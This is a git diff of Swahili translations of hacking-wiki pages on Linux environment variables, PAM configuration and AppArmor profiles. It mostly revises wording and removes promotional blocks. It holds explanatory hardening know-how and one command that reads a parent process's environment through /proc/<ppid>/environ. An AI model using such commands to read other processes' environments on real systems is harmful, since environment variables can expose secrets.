|
||||
<details>
|
||||
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Global variables
|
||||
|
||||
Vigezo vya kimataifa **vitakuwa** vinarithiwa na **mchakato wa watoto**.
|
||||
|
|
@ -40,7 +32,7 @@ unset MYGLOBAL
|
|||
```
|
||||
## Local variables
|
||||
|
||||
The **local variables** can only be **accessed** by the **current shell/script**.
|
||||
Mabadiliko ya **local** yanaweza tu **kupatikana** na **shell/script** ya **sasa**.
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
|
|
@ -58,18 +50,18 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – onyesho linalotumiwa na **X**. Kigezo hiki kwa kawaida huwekwa kwenye **:0.0**, ambayo inamaanisha onyesho la kwanza kwenye kompyuta ya sasa.
|
||||
* **DISPLAY** – onyesho linalotumiwa na **X**. Kigezo hiki kawaida huwekwa kuwa **:0.0**, ambayo inamaanisha onyesho la kwanza kwenye kompyuta ya sasa.
|
||||
* **EDITOR** – mhariri wa maandiko anayependelea mtumiaji.
|
||||
* **HISTFILESIZE** – idadi ya juu ya mistari iliyomo kwenye faili ya historia.
|
||||
* **HISTFILESIZE** – idadi ya juu ya mistari iliyomo katika faili ya historia.
|
||||
* **HISTSIZE** – Idadi ya mistari iliyoongezwa kwenye faili ya historia wakati mtumiaji anamaliza kikao chake.
|
||||
* **HOME** – saraka yako ya nyumbani.
|
||||
* **HOSTNAME** – jina la mwenyeji wa kompyuta.
|
||||
* **LANG** – lugha yako ya sasa.
|
||||
* **MAIL** – mahali ambapo mzunguko wa barua wa mtumiaji upo. Kwa kawaida **/var/spool/mail/USER**.
|
||||
* **MAIL** – mahali ambapo mchanganyiko wa barua wa mtumiaji upo. Kawaida ni **/var/spool/mail/USER**.
|
||||
* **MANPATH** – orodha ya saraka za kutafuta kurasa za mwongozo.
|
||||
* **OSTYPE** – aina ya mfumo wa uendeshaji.
|
||||
* **PS1** – kiashiria cha chaguo-msingi katika bash.
|
||||
* **PATH** – huhifadhi njia ya saraka zote ambazo zina faili za binary unazotaka kutekeleza kwa kutaja tu jina la faili na si kwa njia ya uhusiano au njia kamili.
|
||||
* **PATH** – huhifadhi njia ya saraka zote ambazo zina faili za binary unazotaka kutekeleza kwa kutaja tu jina la faili na si kwa njia ya uhusiano au ya moja kwa moja.
|
||||
* **PWD** – saraka ya kazi ya sasa.
|
||||
* **SHELL** – njia ya shell ya amri ya sasa (kwa mfano, **/bin/bash**).
|
||||
* **TERM** – aina ya terminal ya sasa (kwa mfano, **xterm**).
|
||||
|
|
@ -106,7 +98,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
Badilisha jinsi inavyoonekana.
|
||||
Badilisha jinsi inavyoonekana kwa kiashiria chako.
|
||||
|
||||
[**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
|
|
@ -118,19 +110,14 @@ Mtumiaji wa kawaida:
|
|||
|
||||
.png>)
|
||||
|
||||
Kazi tatu zilizotengwa:
|
||||
Kazi tatu zilizopangwa nyuma:
|
||||
|
||||
.png>)
|
||||
|
||||
Kazi moja iliyotengwa, moja ilisimamishwa na amri ya mwisho haikukamilika vizuri:
|
||||
Kazi moja iliyopangwa nyuma, moja iliyo simamishwa na amri ya mwisho haikukamilika vizuri:
|
||||
|
||||
.png>)
|
||||
|
||||
**Jaribu Kikundi cha Usalama**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -141,8 +128,8 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,28 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Basic Information
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanismu ya usalama ambayo **inasisitiza utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, kuhakikisha kwamba watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku wakipunguza matumizi yao ili kuzuia mzigo wa mfumo.
|
||||
**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, ikihakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku ikipunguza matumizi yao ili kuzuia mzigo wa mfumo.
|
||||
|
||||
#### Configuration Files
|
||||
|
||||
* **Mifumo ya Solaris na UNIX** kwa kawaida hutumia faili moja kuu ya usanidi iliyoko kwenye `/etc/pam.conf`.
|
||||
* **Mifumo ya Linux** inapendelea njia ya directory, ikihifadhi usanidi maalum wa huduma ndani ya `/etc/pam.d`. Kwa mfano, faili ya usanidi kwa huduma ya kuingia inapatikana kwenye `/etc/pam.d/login`.
|
||||
* **Mifumo ya Solaris na UNIX** kwa kawaida hutumia faili moja kuu ya usanidi iliyoko katika `/etc/pam.conf`.
|
||||
* **Mifumo ya Linux** inapendelea mbinu ya directory, ikihifadhi usanidi maalum wa huduma ndani ya `/etc/pam.d`. Kwa mfano, faili ya usanidi wa huduma ya kuingia inapatikana katika `/etc/pam.d/login`.
|
||||
|
||||
Mfano wa usanidi wa PAM kwa huduma ya kuingia unaweza kuonekana kama ifuatavyo:
|
||||
```
|
||||
|
|
@ -62,10 +49,10 @@ Mifumo hii, au vikundi vya usimamizi, inajumuisha **auth**, **account**, **passw
|
|||
|
||||
#### **Udhibiti wa Moduli za PAM**
|
||||
|
||||
Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchakato wa uthibitishaji kwa ujumla. Hizi ni pamoja na:
|
||||
Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchakato mzima wa uthibitishaji. Hizi ni pamoja na:
|
||||
|
||||
* **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa mwisho, lakini tu baada ya moduli zote zinazofuata kukaguliwa.
|
||||
* **Requisite**: Kumaliza mara moja mchakato baada ya kushindwa.
|
||||
* **Requisite**: Kumaliza mara moja mchakato wakati wa kushindwa.
|
||||
* **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za mfumo huo isipokuwa moduli inayofuata ikishindwa.
|
||||
* **Optional**: Inasababisha kushindwa tu ikiwa ndiyo moduli pekee katika safu.
|
||||
|
||||
|
|
@ -73,33 +60,22 @@ Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchaka
|
|||
|
||||
Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haina ruhusa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji.
|
||||
|
||||
### Marejeleo
|
||||
### Marejeo
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,58 +1,44 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
AppArmor ni **kuimarisha kernel iliyoundwa kupunguza rasilimali zinazopatikana kwa programu kupitia wasifu wa kila programu**, kwa ufanisi ikitekeleza Udhibiti wa Ufikiaji wa Lazima (MAC) kwa kufunga sifa za udhibiti wa ufikiaji moja kwa moja kwa programu badala ya watumiaji. Mfumo huu unafanya kazi kwa **kuchaji wasifu kwenye kernel**, kawaida wakati wa kuanzisha, na wasifu hawa huamua ni rasilimali zipi programu inaweza kufikia, kama vile muunganisho wa mtandao, ufikiaji wa soketi mbichi, na ruhusa za faili.
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
||||
Kuna njia mbili za uendeshaji kwa wasifu wa AppArmor:
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za kuiba taarifa.
|
||||
* **Njia ya Utekelezaji**: Njia hii inatekeleza kwa nguvu sera zilizofafanuliwa ndani ya wasifu, ikizuia vitendo vinavyokiuka sera hizi na kuandika jaribio lolote la kuvunja hizo kupitia mifumo kama syslog au auditd.
|
||||
* **Njia ya Malalamiko**: Tofauti na njia ya utekelezaji, njia ya malalamiko haisitishi vitendo vinavyokwenda kinyume na sera za wasifu. Badala yake, inaandika jaribio hizi kama ukiukaji wa sera bila kutekeleza vizuizi.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
### Components of AppArmor
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
* **Moduli ya Kernel**: Inawajibika kwa utekelezaji wa sera.
|
||||
* **Sera**: Zinabainisha sheria na vizuizi kwa tabia ya programu na ufikiaji wa rasilimali.
|
||||
* **Parser**: Inachaji sera kwenye kernel kwa utekelezaji au ripoti.
|
||||
* **Utilities**: Hizi ni programu za hali ya mtumiaji zinazotoa kiolesura cha kuingiliana na kusimamia AppArmor.
|
||||
|
||||
***
|
||||
### Profiles path
|
||||
|
||||
## Taarifa Msingi
|
||||
Wasifu wa Apparmor kawaida huhifadhiwa katika _**/etc/apparmor.d/**_\
|
||||
Kwa kutumia `sudo aa-status` utaweza kuorodhesha binaries ambazo zimepunguziliwa mbali na wasifu fulani. Ikiwa unaweza kubadilisha herufi "/" kuwa nukta katika njia ya kila binary iliyoorodheshwa, utapata jina la wasifu wa apparmor ndani ya folda iliyoelezwa.
|
||||
|
||||
AppArmor ni **uboreshaji wa kernel ulioundwa kuzuia rasilimali zilizopo kwa programu kupitia maelezo ya kila programu**, kutekeleza Kudhibiti wa Kufikia lazima (MAC) kwa kuunganisha sifa za kudhibiti ufikiaji moja kwa moja kwa programu badala ya watumiaji. Mfumo huu hufanya kazi kwa **kupakia maelezo ya kila programu kwenye kernel**, kawaida wakati wa kuanza, na maelezo haya yanadhibiti ni rasilimali gani programu inaweza kupata, kama vile uhusiano wa mtandao, ufikiaji wa soketi za moja kwa moja, na ruhusa za faili.
|
||||
Kwa mfano, wasifu wa **apparmor** kwa _/usr/bin/man_ utawekwa katika _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
Kuna njia mbili za uendeshaji kwa maelezo ya AppArmor:
|
||||
|
||||
* **Hali ya Utekelezaji**: Hali hii inatekeleza kikamilifu sera zilizoelezwa ndani ya maelezo, kuzuia vitendo vinavyokiuka sera hizi na kuingiza majaribio yoyote ya kuzivunja kupitia mifumo kama syslog au auditd.
|
||||
* **Hali ya Malalamiko**: Tofauti na hali ya utekelezaji, hali ya malalamiko haikatazi vitendo vinavyokwenda kinyume na sera za maelezo. Badala yake, inaingiza majaribio haya kama uvunjaji wa sera bila kutekeleza vizuizi.
|
||||
|
||||
### Vipengele vya AppArmor
|
||||
|
||||
* **Moduli ya Kernel**: Inayowajibika kwa utekelezaji wa sera.
|
||||
* **Sera**: Hufafanua sheria na vizuizi kwa tabia ya programu na ufikiaji wa rasilimali.
|
||||
* **Mchambuzi**: Hupakia sera kwenye kernel kwa utekelezaji au kuripoti.
|
||||
* **Zana**: Hizi ni programu za mode ya mtumiaji zinazotoa kiolesura cha kuingiliana na kusimamia AppArmor.
|
||||
|
||||
### Njia za Maelezo
|
||||
|
||||
Maelezo ya Apparmor kawaida hufutwa katika _**/etc/apparmor.d/**_\
|
||||
Kwa `sudo aa-status` utaweza kuorodhesha programu ambazo zinaruhusiwa na maelezo fulani. Ikiwa unaweza kubadilisha herufi "/" kwa kipindi cha njia ya kila programu iliyoorodheshwa utapata jina la maelezo ya apparmor ndani ya folda iliyotajwa.
|
||||
|
||||
Kwa mfano, maelezo ya **apparmor** kwa _/usr/bin/man_ yatakuwa yanapatikana katika _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Amri
|
||||
### Commands
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
|
@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Kuunda wasifu
|
||||
|
||||
* Ili kuelezea programu inayohusika, **njia kamili na manyoya** huruhusiwa (kwa ajili ya kutambua faili) kwa kufafanua faili.
|
||||
* Ili kuelezea upatikanaji wa programu kuu kwa **faili** zifuatazo **mamabara ya upatikanaji** yanaweza kutumika:
|
||||
* Ili kuonyesha executable iliyoathiriwa, **njia za moja kwa moja na wildcards** zinakubaliwa (kwa ajili ya kufafanua faili).
|
||||
* Ili kuonyesha ufikiaji ambao binary itakuwa nao juu ya **faili**, **udhibiti wa ufikiaji** zifuatazo zinaweza kutumika:
|
||||
* **r** (soma)
|
||||
* **w** (andika)
|
||||
* **m** (ramani ya kumbukumbu kama inayoweza kutekelezwa)
|
||||
* **m** (ramani ya kumbukumbu kama executable)
|
||||
* **k** (kufunga faili)
|
||||
* **l** (kuunda viungo vya ngumu)
|
||||
* **ix** (kutekeleza programu nyingine na programu mpya kurithi sera)
|
||||
* **l** (kuunda viungo vigumu)
|
||||
* **ix** (kutekeleza programu nyingine na programu mpya ikirithi sera)
|
||||
* **Px** (kutekeleza chini ya wasifu mwingine, baada ya kusafisha mazingira)
|
||||
* **Cx** (kutekeleza chini ya wasifu wa mtoto, baada ya kusafisha mazingira)
|
||||
* **Ux** (kutekeleza bila kizuizi, baada ya kusafisha mazingira)
|
||||
* **Viarasa** vinaweza kutajwa katika maelezo na vinaweza kubadilishwa kutoka nje ya wasifu. Kwa mfano: @{PROC} na @{HOME} (ongeza #include \<tunables/global> kwenye faili ya wasifu)
|
||||
* **Mipangilio ya kukataa inasaidia kubadilisha viwango vya kuruhusu**.
|
||||
* **Ux** (kutekeleza bila vizuizi, baada ya kusafisha mazingira)
|
||||
* **Vigezo** vinaweza kufafanuliwa katika wasifu na vinaweza kushughulikiwa kutoka nje ya wasifu. Kwa mfano: @{PROC} na @{HOME} (ongeza #include \<tunables/global> kwenye faili la wasifu)
|
||||
* **Sheria za kukataa zinasaidiwa kubadilisha sheria za kuruhusu**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Ili kuanza kwa urahisi kuunda wasifu, apparmor inaweza kukusaidia. Ni rahisi kufanya **apparmor ichunguze vitendo vilivyofanywa na programu na kisha kuruhusu au kukataa vitendo unavyotaka**.\
|
||||
Ili kuanza kwa urahisi kuunda wasifu, apparmor inaweza kusaidia. Inawezekana kufanya **apparmor ikague vitendo vinavyofanywa na binary kisha kukuruhusu uamue ni vitendo gani unataka kuruhusu au kukataa**.\
|
||||
Unahitaji tu kukimbia:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Kisha, kwenye konsoli tofauti tekeleza hatua zote ambazo kawaida binary itatekeleza:
|
||||
Kisha, katika console tofauti fanya vitendo vyote ambavyo binary kawaida hufanya:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Kisha, kwenye konsoli ya kwanza bonyeza "**s**" na kisha kwenye hatua zilizorekodiwa eleza ikiwa unataka kupuuza, kuruhusu, au chochote. Ukimaliza bonyeza "**f**" na wasifu mpya utaundwa katika _/etc/apparmor.d/path.to.binary_
|
||||
Kisha, katika console ya kwanza bonyeza "**s**" na kisha katika vitendo vilivyorekodiwa onyesha kama unataka kupuuza, kuruhusu, au chochote. Unapomaliza bonyeza "**f**" na wasifu mpya utaundwa katika _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Kwa kutumia mishale unaweza kuchagua unachotaka kuruhusu/kukataa/chochote
|
||||
Kwa kutumia funguo za mshale unaweza kuchagua unachotaka kuruhusu/kukataa/chochote
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
|
@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Tafadhali elewa kwamba kwa chaguo-msingi katika wasifu ulioundwa hakuna kitu kilichoruhusiwa, kwa hivyo kila kitu kimekataliwa. Utahitaji kuongeza mistari kama `/etc/passwd r,` kuruhusu kusoma faili ya binary `/etc/passwd` kwa mfano.
|
||||
Kumbuka kwamba kwa default katika wasifu ulioundwa hakuna kinachoruhusiwa, hivyo kila kitu kinakataliwa. Utahitaji kuongeza mistari kama `/etc/passwd r,` ili kuruhusu binary kusoma `/etc/passwd` kwa mfano.
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kisha **kuimarisha** wasifu mpya na
|
||||
You can then **enforce** the new profile with
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Kubadilisha wasifu kutoka kwenye magogo
|
||||
### Kubadilisha wasifu kutoka kwa kumbukumbu
|
||||
|
||||
Zana ifuatayo itasoma magogo na kuuliza mtumiaji ikiwa anataka kuruhusu baadhi ya vitendo vilivyogunduliwa ambavyo ni marufuku:
|
||||
Chombo kinachofuata kitaisoma kumbukumbu na kumwuliza mtumiaji kama anataka kuruhusu baadhi ya vitendo vilivyogunduliwa kuwa haramu:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Kwa kutumia mishale unaweza kuchagua unachotaka kuruhusu/kukataa/au chochote
|
||||
Kwa kutumia funguo za mshale unaweza kuchagua kile unachotaka kuruhusu/kukataa/chochote
|
||||
{% endhint %}
|
||||
|
||||
### Usimamizi wa Wasifu
|
||||
### Kusimamia Profaili
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
|
@ -148,9 +134,9 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Kumbukumbu
|
||||
## Logs
|
||||
|
||||
Mfano wa **AUDIT** na **DENIED** kumbukumbu kutoka _/var/log/audit/audit.log_ ya programu inayoweza kutekelezwa **`service_bin`**:
|
||||
Mfano wa **AUDIT** na **DENIED** logs kutoka _/var/log/audit/audit.log_ ya executable **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
|
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
|||
```
|
||||
## Apparmor katika Docker
|
||||
|
||||
Tafadhali kumbuka jinsi wasifu **docker-profile** wa docker unavyopakiwa kwa chaguo-msingi:
|
||||
Kumbuka jinsi profaili **docker-profile** ya docker inavyopakiwa kwa default:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
|
@ -191,87 +177,87 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Kwa chaguo-msingi **Profaili ya Apparmor ya docker-default** inatengenezwa kutoka [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Kwa kawaida **Apparmor docker-default profile** inatengenezwa kutoka [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**Muhtasari wa Profaili ya docker-default**:
|
||||
**Muhtasari wa docker-default profile**:
|
||||
|
||||
- **Upatikanaji** wa mtandao wote
|
||||
- **Uwezo wowote** haujatambuliwa (Hata hivyo, baadhi ya uwezo utatoka kwa kuingiza sheria za msingi kama vile #include \<abstractions/base>)
|
||||
- **Kuandika** kwenye faili yoyote ya **/proc** **hairuhusiwi**
|
||||
- **Vidirisha vingine**/**faili** vya /**proc** na /**sys** **vinakatazwa** upatikanaji wa kusoma/kuandika/kufunga/kuunganisha/kutekeleza
|
||||
- **Kufunga** **hairuhusiwi**
|
||||
- **Ptrace** inaweza kufanywa kwenye mchakato ambao umefungwa na **profaili ile ile ya apparmor**
|
||||
* **Upatikanaji** wa **mtandao** wote
|
||||
* **Hakuna uwezo** ulioelezwa (Hata hivyo, baadhi ya uwezo utaweza kuja kutokana na kuingiza sheria za msingi za msingi i.e. #include \<abstractions/base>)
|
||||
* **Kuandika** kwenye faili yoyote ya **/proc** **hakuruhusiwi**
|
||||
